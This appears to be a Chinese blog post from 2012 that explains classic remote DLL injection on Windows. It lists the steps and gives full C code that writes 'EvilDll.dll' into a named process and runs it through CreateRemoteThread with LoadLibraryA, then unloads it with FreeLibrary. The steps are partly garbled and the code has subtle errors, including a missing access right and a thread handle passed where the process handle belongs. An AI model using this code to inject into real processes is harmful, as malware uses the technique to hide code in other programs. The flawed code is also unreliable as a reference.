总结一下基本的注入过程，分注入和卸载
注入Dll：
1，获得要注入进程的
2，VirtualAllocEx在远程进程中开辟出一段内存，长度为strlen(dllname)+1;
3，将Dll的名字写入第二步开辟出的内存中。
4，将LoadLibraryA作为线程函数，参数为Dll的名称，创建新线程
5，关闭线程句柄
卸载Dll：
1，CreateRemoteThread将注入到远程进程中，参数为被注入的Dll名
2，将线程退出的退出码作为Dll模块的句柄值。
3，CloseHandle关闭线程句柄
3，CreateRemoteThread将FreeLibraryA注入到远程进程中，参数为第二步获得的句柄值。
4，等待对象句柄返回
5，CloseHandle关闭线程及进程句柄。
//Code By Pnig0s1992 //Date:2012,3,13 #include#include #include DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID { DWORD dwRet = 0; HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hSnapShot == INVALID_HANDLE_VALUE) { printf("\n获得进程快照失败%d",GetLastError()); return dwRet; } PROCESSENTRY32 pe32;//声明进程入口对象 pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小 Process32First(hSnapShot,&pe32);//遍历进程列表 do { if(!lstrcmp(pe32.szExeFile,lpProcessName))//查找指定进程名的PID { dwRet = pe32.th32ProcessID; break; } } while (Process32Next(hSnapShot,&pe32)); CloseHandle(hSnapShot); return dwRet;//返回 } INT main(INT argc,CHAR * argv[]) { DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]); LPCSTR lpDllName = "EvilDll.dll"; HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); if(hProcess == NULL) { printf("\n获取进程句柄错误%d",GetLastError()); return -1; } DWORD dwSize = strlen(lpDllName)+1; DWORD dwHasWrite; LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE); if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite)) { if(dwHasWrite != dwSize) { VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT); CloseHandle(hProcess); return -1; } }else { printf("\n写入远程进程内存空间出错%d。",GetLastError()); CloseHandle(hProcess); return -1; } DWORD dwNewThreadId; LPVOID lpLoadDll = LoadLibraryA; HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId); if(hNewRemoteThread == NULL) { printf("\n建立远程线程失败%d",GetLastError()); CloseHandle(hProcess); return -1; } WaitForSingleObject(hNewRemoteThread,INFINITE); CloseHandle(hNewRemoteThread); //准备卸载之前注入的Dll DWORD dwHandle,dwID; LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄 HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID); WaitForSingleObject(hThread,INFINITE); GetExitCodeThread(hThread,&dwHandle);//线程的结束码即为Dll模块儿的句柄 CloseHandle(hThread); pFunc = FreeLibrary; hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); //将FreeLibraryA注入到远程线程中去卸载Dll WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return 0; }